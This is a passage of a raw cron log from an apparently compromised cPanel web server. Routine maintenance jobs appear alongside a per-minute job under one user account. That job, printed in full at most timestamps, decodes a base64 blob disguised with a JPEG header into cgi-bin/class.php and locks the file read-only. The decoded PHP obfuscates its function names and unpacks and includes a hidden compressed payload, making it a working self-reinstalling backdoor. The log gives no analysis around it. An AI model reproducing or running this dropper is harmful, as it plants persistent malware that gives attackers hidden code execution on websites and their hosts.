UFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:17:01 server CROND[26943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:17:01 server CROND[26944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:17:01 server CROND[26945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:18:01 server CROND[27326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:18:01 server CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:18:01 server CROND[27327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:19:01 server CROND[27710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:19:01 server CROND[27711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:19:01 server CROND[27712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:20:01 server CROND[28194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:20:01 server CROND[28196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:20:01 server CROND[28197]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:20:01 server CROND[28199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:20:01 server CROND[28201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:20:01 server CROND[28203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:20:01 server CROND[28200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:20:01 server CROND[28204]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:20:01 server CROND[28202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:21:01 server CROND[29002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:21:01 server CROND[29003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:21:01 server CROND[29004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:22:01 server CROND[29382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:22:01 server CROND[29383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:22:01 server CROND[29381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:23:01 server CROND[29778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:23:01 server CROND[29779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:23:01 server CROND[29781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:24:01 server CROND[30161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:24:01 server CROND[30162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:24:01 server CROND[30164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:25:01 server CROND[30652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:25:01 server CROND[30655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:25:01 server CROND[30659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:25:01 server CROND[30656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:25:01 server CROND[30658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:25:01 server CROND[30661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:25:01 server CROND[30657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:26:01 server CROND[31550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:26:01 server CROND[31549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:26:01 server CROND[31552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:27:01 server CROND[31941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:27:01 server CROND[31942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:27:01 server CROND[31943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:27:01 server CROND[31944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:28:01 server CROND[32325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:28:01 server CROND[32326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:28:01 server CROND[32327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:29:01 server CROND[32729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:29:01 server CROND[32728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
